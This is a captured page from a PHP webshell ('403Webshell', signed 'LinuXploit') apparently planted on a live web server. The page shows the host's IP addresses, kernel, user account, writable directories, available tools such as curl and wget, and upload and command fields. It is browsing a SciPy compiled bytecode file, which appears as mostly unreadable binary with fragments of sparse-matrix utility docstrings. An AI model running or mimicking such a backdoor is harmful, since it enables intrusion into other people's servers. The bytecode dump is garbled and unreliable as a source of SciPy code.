403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/sparse/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/sparse/__pycache__/_sputils.cpython-311.pyc
�

d�cP3���dZddlZddlZddlZddlmZddlmZ	gd�Z
ejejej
ejejejejejejejejejejejejejejgZiZd�Zd�Zd�Z d�Z!d	�Z"d d
�Z#d!d�Z$d"d�Z%d�Z&d�Z'd�Z(d#d�Z)d�Z*d�Z+d�Z,d�Z-d$d�Z.d�Z/d�Z0d�Z1d$d�Z2dddej3fd�Z4dS)%z, Utility functions for sparse matrix module
�N)�prod)
�upcast�getdtype�getdata�isscalarlike�	isintlike�isshape�
issequence�isdense�ismatrix�
get_sum_dtypec��t�t|����}|�|Stj|�}t
D]2}tj||��r|tt|��<|cS�3td|�����)a�Returns the nearest supported sparse dtype for the
    combination of one or more types.

    upcast(t0, t1, ..., tn) -> T  where T is a supported dtype

    Examples
    --------

    >>> upcast('int32')
    <type 'numpy.int32'>
    >>> upcast('bool')
    <type 'numpy.bool_'>
    >>> upcast('int32','float32')
    <type 'numpy.float64'>
    >>> upcast('bool',complex,float)
    <type 'numpy.complex128'>

    Nz#no supported conversion for types: )�_upcast_memo�get�hash�np�result_type�supported_dtypes�can_cast�	TypeError)�args�trs   �7/usr/lib/python3/dist-packages/scipy/sparse/_sputils.pyrrs���(	����d���$�$�A��}���
�^�T�
"�F�
����
�;�v�q�!�!�	�'(�L��d���$��H�H�H�	��)�t�t�E�
F�
F�F�c��t�|��}|�|Stttj|���}|t|<|S)z9Same as `upcast` but taking dtype.char as input (faster).)rrr�mapr�dtype)rrs  r�upcast_charr8sD��������A��}�����B�H�d�#�#�$�A��L����Hrc�@�tjdg|���|zjS)z`Determine data type for binary operation between an array of
    type `dtype` and a scalar.
    r�r)r�arrayr)r�scalars  r�
upcast_scalarr#Bs#��
�H�a�S��&�&�&��/�6�6rc��|jjtjtj��jkr�|jdkr|�tj��S|���}|���}|tjtj��jks'|tjtj��jkrtd���|�tj��S|S)z�
    Down-cast index array to np.intp dtype if it is of a larger dtype.

    Raise an error if the array contains a value that is too large for
    intp.
    rzzCannot deal with arrays with indices larger than the machine maximum address size (e.g. 64-bit indices on 32-bit machine).)
r�itemsizer�intp�size�astype�max�min�iinfo�
ValueError)�arr�maxval�minvals   r�downcast_intp_indexr0Is����y��B�H�R�W�-�-�6�6�6��8�q�=�=��:�:�b�g�&�&�&��������������B�H�R�W�%�%�)�)�)�V�b�h�r�w�6G�6G�6K�-K�-K��H�I�I�
I��z�z�"�'�"�"�"��Jrc�t�|j}|jr|Stj||�d�����S)a
    Ensure that the data type of the NumPy array `A` has native byte order.

    `A` must be a NumPy array.  If the data type of `A` does not have native
    byte order, a copy of `A` with a native byte order is returned. Otherwise
    `A` is returned.
    �nativer )r�isnativer�asarray�newbyteorder)�A�dts  r�	to_nativer8]s=��
��B�	�{����
�:�a�r���x�8�8�9�9�9�9rc��|�G	|j}nq#t$r1}|�tj|��}ntd��|�Yd}~n;d}~wwxYwtj|��}|tjkrtd���|S)aQFunction used to simplify argument processing. If 'dtype' is not
    specified (is None), returns a.dtype; otherwise returns a np.dtype
    object created from the specified dtype argument. If 'dtype' and 'a'
    are both None, construct a data type out of the 'default' parameter.
    Furthermore, 'dtype' must be in 'allowed' set.
    Nzcould not interpret data typez0object dtype is not supported by sparse matrices)r�AttributeErrorrr�object_r,)r�a�default�newdtype�es     rrrms���
�}�	H��w�H�H���	H�	H�	H��"��8�G�,�,���� ?�@�@�a�G����������	H�����8�E�?�?���r�z�!�!��B���
��Os��
A�'A�AFc�\�tj|||���}t|j��|S)z�
    This is a wrapper of `np.array(obj, dtype=dtype, copy=copy)`
    that will generate a warning if the result is an object array.
    )r�copy)rr!rr)�objrrA�datas    rrr�s1��
�8�C�u�4�0�0�0�D�
�T�Z�����Kr�c�0�tjtjtj��j��}tjtjtj��j��}tj��jdkrtjntj}|�&tj|��}||krtj}t|tj	��r|f}|D]�}tj
|��}tj|jtj��su|re|j
dkr�Htj|jtj��r5|���}|���}||kr||kr��tj}n��|S)a&
    Based on input (integer) arrays `a`, determine a suitable index data
    type that can hold the data in the arrays.

    Parameters
    ----------
    arrays : tuple of array_like
        Input arrays whose types/contents to check
    maxval : float, optional
        Maximum value needed
    check_contents : bool, optional
        Whether to check the values in the arrays and not just their types.
        Default: False (check only the types)

    Returns
    -------
    dtype : dtype
        Suitable index data type (int32 or int64)

    �Nr)r�int32r+r*r)�intcr%�int64�
isinstance�ndarrayr4rrr'�
issubdtype�integer)�arraysr.�check_contents�int32min�int32maxrr-r/s        r�get_index_dtyperR�sP��,�x�����*�*�.�/�/�H��x�����*�*�.�/�/�H���	�	�*�a�/�/�B�H�H�R�X�E�
����&�!�!���H����H�E��&�"�*�%�%����������j��o�o���{�3�9�b�h�/�/�
	��	
!��8�q�=�=���]�3�9�b�j�9�9�!� �W�W�Y�Y�F� �W�W�Y�Y�F���)�)�f��.@�.@� ��H�E��E�
	��Lrc���|jdkr+tj|tj��rtjStj|tj��rtjS|S)z Mimic numpy's casting for np.sum�u)�kindrr�uint�int_r s rr
r
�sK���z�S���R�[����8�8���w��	�{�5�"�'�"�"���w���Lrc�^�tj|��pt|��o
|jdkS)z8Is x either a scalar, an array scalar, or a 0-dim array?r)r�isscalarr�ndim��xs rrr�s&��
�;�q�>�>�9�g�a�j�j�8�Q�V�q�[�9rc�4�tj|��dkrdS	tj|��ng#tt
f$rS	t
t|��|k��}n#tt
f$rYYdSwxYw|rd}t|���|cYSwxYwdS)zsIs x appropriate as an index into a sparse matrix? Returns True
    if it can be cast safely to a machine int.
    rFz4Inexact indices into sparse matrices are not allowedT)rrZ�operator�indexrr,�bool�int)r\�	loose_int�msgs   rrr�s���
�w�q�z�z�Q����u�
���q�������z�"����	��S��V�V�q�[�)�)�I�I���:�&�	�	�	��5�5�5�	�����	"�H�C��S�/�/�!����������4s3�1�B� A$�#B�$A:�5B�9A:�:B�Bc���	|\}}t|��rOt|��r@tj|��dkr(tj|��dkr|r|dkr|dkrdSdS#t$rYdSwxYw)zjIs x a valid 2-tuple of dimensions?

    If nonneg, also checks that the dimensions are non-negative.
    rTF)rrrZ�	Exception)r\�nonneg�M�Ns    rr	r	�s���

����A��Q�<�<�	 �I�a�L�L�	 ��w�q�z�z�Q���2�7�1�:�:��?�?�� �!�q�&�&�Q�!�V�V��4��u�������u�u����s�A'�'
A5�4A5c���t|ttf��r-t|��dkpt	j|d��p$t|tj��o
|jdkS)Nr�)rJ�list�tuple�lenrrYrKrZ�rs rr
r
s\��
��D�%�=�
)�
)�/�
��V�V�q�[�
-�B�K��!��-�-�
:�
��2�:�
&�
&�
8�A�F�a�K�;rc���t|ttf��r(t|��dkrt	|d��p$t|t
j��o
|jdkS)Nr�)rJrkrlrmr
rrKrZrns rrrs]��
��D�%�=�
)�
)�-�
��V�V�a�Z�-�&�q��t�,�,�
8�
��2�:�
&�
&�
6�1�6�Q�;�9rc�6�t|tj��S�N)rJrrKr[s rrrs���a���$�$�$rc�N�|��t|��}|tkrtd���tjtj|��tj��s(td�|j������d|cxkrdksntd���dSdS)NzlTuples are not accepted for the 'axis' parameter. Please pass in one of the following: {-2, -1, 0, 1, None}.z#axis must be an integer, not {name})�name���rjzaxis out of range)
�typerlrrrLrrM�format�__name__r,)�axis�	axis_types  r�validateaxisr{s�������J�J�	������@�B�B�
B��}�R�X�i�0�0�"�*�=�=�	>��A�#�V��);�V�<�<�>�>�
>��d�����a������0�1�1�1�'��$ �rc��t|��dkrtd���t|��dkr[	t|d��}td�|D����}nD#t$rt	j|d��f}YnwxYwtd�|D����}|�Lt|��dkrt
d���td	�|D����rt
d
����n5t|��}d�t|��D��}t|��dkr9t|��}||kr#t
d�
||�����n�t|��dkr�|d}t|d|�||dzd�z��}t||��\}	}
|
dkr<td
�|D����}t
d�
||�����|d|�|	fz||dzd�z}nt
d���t|��dkrt
d���|S)z0Imitate numpy.matrix handling of shape argumentsrz8function missing 1 required positional argument: 'shape'rjc3�>K�|]}tj|��V��dSrr�r^r_��.0�args  r�	<genexpr>zcheck_shape.<locals>.<genexpr>2s,����H�H�c�h�n�S�1�1�H�H�H�H�H�Hrc3�>K�|]}tj|��V��dSrrr~rs  rr�zcheck_shape.<locals>.<genexpr>4s,����>�>�#�(�.��-�-�>�>�>�>�>�>rNrpz,shape must be a 2-tuple of positive integersc3�"K�|]
}|dkV��dS)rNrD)r��ds  rr�zcheck_shape.<locals>.<genexpr>9s&����*�*�1��Q��*�*�*�*�*�*rz#'shape' elements cannot be negativec�$�g|]
\}}|dk�|��S)rrD)r��ir\s   r�
<listcomp>zcheck_shape.<locals>.<listcomp>As!��H�H�H�$�!�Q�!�a�%�%�A�%�%�%rz-cannot reshape array of size {} into shape {}c3�*K�|]}|dkrdn|V��dS)r�newshapeNrD)r�r\s  rr�zcheck_shape.<locals>.<genexpr>Ls.����!P�!P���A���*�*�1�!P�!P�!P�!P�!P�!Prz&can only specify one unknown dimensionz$matrix shape must be two-dimensional)rmr�iterrlr^r_r,�anyr�	enumeraterw�divmod)r�
current_shape�
shape_iter�	new_shape�current_size�negative_indexes�new_size�skip�	specified�unspecified�	remainder�	err_shapes            r�check_shaper�'s���
�4�y�y�A�~�~��"�#�#�	#�	�T���a���	I��d�1�g���J��H�H�Z�H�H�H�H�H�I�I���	4�	4�	4�!���Q��0�0�3�I�I�I�	4����
�>�>��>�>�>�>�>�	����y�>�>�Q����K�L�L�L�
�*�*�	�*�*�*�
*�
*�	D��B�C�C�C�	D�
�M�*�*��I�H�)�I�*>�*>�H�H�H���� � �A�%�%��I���H��<�'�'� �!P�"(�&��y�"A�"A�C�C�C�(��!�
"�
"�a�
'�
'�#�A�&�D��Y�q��v�.��4��6�7�7�1C�C�D�D�I�%+�L�)�%D�%D�"�K���A�~�~�!�!P�!P�i�!P�!P�!P�P�P�	� �"$�$*�F�<��$C�$C�E�E�E�!�!�D�&�)�[�N�:�Y�t�A�v�w�w�=O�O�I�I��E�F�F�F�
�9�~�~�����?�@�@�@��s�A&�&%B�
Bc���|�dd��}|�dd��}|rGtd�d�|����������||fS)a?Unpack keyword arguments for reshape function.

    This is useful because keyword arguments after star arguments are not
    allowed in Python 2, but star keyword arguments are. This function unpacks
    'order' and 'copy' from the star keyword arguments (with defaults) and
    throws an error for any remaining.
    �order�CrAFz/reshape() got unexpected keywords arguments: {}z, )�poprrw�join�keys)�kwargsr�rAs   r�check_reshape_kwargsr�Ysr��
�J�J�w��$�$�E��:�:�f�e�$�$�D�
�;��I����	�	�&�+�+�-�-� 8� 8�9�9�;�;�	;��$�;�rc��ttj�d��dd��}|duot	||��S)zV
    Check whether object is pydata/sparse matrix, avoiding importing the module.
    �sparse�SparseArrayN)�getattr�sys�modulesrrJ)�m�base_clss  r�is_pydata_spmatrixr�js=���s�{���x�0�0�-��F�F�H��4��;�J�q�(�$;�$;�;rc�^�tj|i|���tj��Srr)rr!�view�matrix)rr�s  rr�r�xs'��
�8�T�$�V�$�$�)�)�"�)�4�4�4rc��t|tj��r|�|j|kr|Stj||����tj��S)Nr )rJrr�rr4r�)rCrs  r�asmatrixr�|sP���$��	�"�"���
���u�9L�9L���
�:�d�%�(�(�(�-�-�b�i�8�8�8r�szsp.spmatrix�returnc��t|tjj��r|���St|tj��r3t
j|���|j	|j
���St|tj��rGt
j|j
|j	���}tj
�|j|��|S|������S)z�Access nonzero values, possibly after summing duplicates.

    Parameters
    ----------
    s : sparse matrix
        Input sparse matrix.

    Returns
    -------
    data: ndarray
      Nonzero values of the array, with shape (s.nnz,)

    )r�countr )rJ�sp�_data�_data_matrix�
_deduped_data�
dok_matrixr�fromiter�valuesr�nnz�
lil_matrix�empty�
_csparsetools�lil_flatten_to_arrayrC�tocoo)r�rCs  r�_todatar��s����!�R�X�*�+�+�!���� � � ��!�R�]�#�#�C��{�1�8�8�:�:�Q�W�A�E�B�B�B�B��!�R�]�#�#���x���Q�W�-�-�-��
��-�-�a�f�d�;�;�;����7�7�9�9�"�"�$�$�$r)NN)NF)rDNF)Frr)5�__doc__r�r^�numpyr�scipy._lib._utilr�scipy.sparser�r��__all__�bool_�byte�ubyte�short�ushortrH�uintcrWrV�longlong�	ulonglong�single�double�
longdouble�csingle�cdouble�clongdoublerrrrr#r0r8rrrRr
rrr	r
rrr{r�r�r�r�r�rKr�rDrr�<module>r�sN�����
�
�
���������!�!�!�!�!�!�������L�L�L���H�b�g�r�x���2�9�b�g��H�b�g�r�w���R�\��I�r�y��M�2�:�r�z�2�>�K��
��G�G�G�D
�
�
�7�7�7����(
:�
:�
:� ����4	�	�	�	�4�4�4�4�n���:�:�:�
���,����$;�;�;�9�9�9�%�%�%�2�2�2�./�/�/�/�d���"<�<�<�5�5�5�9�9�9�9�%�}�%���%�%�%�%�%�%r

Youez - 2016 - github.com/yon3zu
LinuXploit